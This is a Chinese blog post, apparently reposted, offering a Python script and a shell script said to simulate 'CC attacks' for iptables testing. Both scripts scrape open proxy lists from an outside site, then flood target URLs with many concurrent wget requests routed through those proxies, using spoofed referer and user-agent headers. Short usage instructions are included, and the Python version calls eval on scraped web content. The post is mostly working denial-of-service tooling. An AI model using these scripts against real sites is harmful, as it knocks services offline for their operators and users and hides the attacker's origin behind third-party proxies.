python的cc攻击脚本_Iptables——模拟CC攻击的脚本[shell,python],iptables,cc,shellpython...

Python :

#!/usr/bin/python

#-------------------------------------------------------------------------------

# Name: CC.py

#

# Author: LiuSha

#

# Created: 1/07/2014

# Email: itchenyi@gmail.com

#-------------------------------------------------------------------------------

import urllib2

import re

import os

import threading

import time

import random

class RunCC(threading.Thread):

def __init__(self,proxy,url):

threading.Thread.__init__(self)

self.thread_proxy = proxy

self.thread_url = url

self.thread_stop = False

def run(self):

while not self.thread_stop:

os.system("""wget --ignore-length --cache=off --no-http-keep-alive -t 1 --referer="http://www.10086.com" -U 'Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)' -e "http_proxy=http://%s/" "%s" &"""%(self.thread_proxy,self.thread_url))

def stop(self):

self.thread_stop = True

def get_stock_html(URL):

opener = urllib2.build_opener(

urllib2.HTTPRedirectHandler(),

urllib2.HTTPHandler(debuglevel=0),

)

opener.addheaders = [

('User-agent',

'Mozilla/4.0 (compatible;MSIE 7.0;'

'Windows NT 5.1; .NET CLR 2.0.50727;'

'.NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)')

]

url = "http://proxy.com.ru/%s"%URL

response = opener.open(url)

return ''.join(response.readlines())

def Getting_Url():

global CC_Url

file = open('url','r')

CC_Url = file.readlines()

file.close()

def Getting_list():

global IP_Port

IP_Port = []

for html_list in re.findall('list_\d+.html',get_stock_html("list_1.html")):

print "getting %s's IP:PORT"%html_list

IP_Port += eval(re.sub('',':',"%s"%re.findall('\d+.\d+.\d+.\d+\d+',get_stock_html(html_list))))

def main():

global CC_Dict

CC_Dict = {}

for i_name in range(len(IP_Port)):

CC_Dict['Thread%s'%i_name] = "RunCC('%s',r'''%s''')"%(IP_Port[i_name],random.choice(CC_Url))

for k,v in CC_Dict.items():

k = eval(v)

k.start()

time.sleep(0.6)

k.stop()

if __name__ == '__main__':

Getting_Url()

Getting_list()

main()

python 脚本的使用

###url 文件一行一个url不嫌多###

[root@test-CC CC]# cat url

http://www.ipython.me/about-me

http://www.ipython.me/

###直接运行###

[root@test-CC CC]# python cc.py

shell

#!/bin/sh

#Email:zhengxiaofeiccc@139.com

url=$1

page_number=`curl http://proxy.com.ru |grep -o "list_.*html"|awk -F "'" '{print $NF}'|tail -1|grep -o \[0-9\]*`

for i in `seq 1 $page_number`

do

curl http://proxy.com.ru/list_$i.html|egrep -o "[[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}.*[0-9]{2,4}"|awk -F "" '{print $1,$NF}' >> ip.txt

done

while read ip port

do

wget -b --cache=off --ignore-length --referer="http://www.10086.com" -U 'Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)' \

-Y on -e "http_proxy=http://$ip:$port/" "$url"

done < ip.txt

from : https://www.cnblogs.com/hanxianlong/p/4559711.html

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值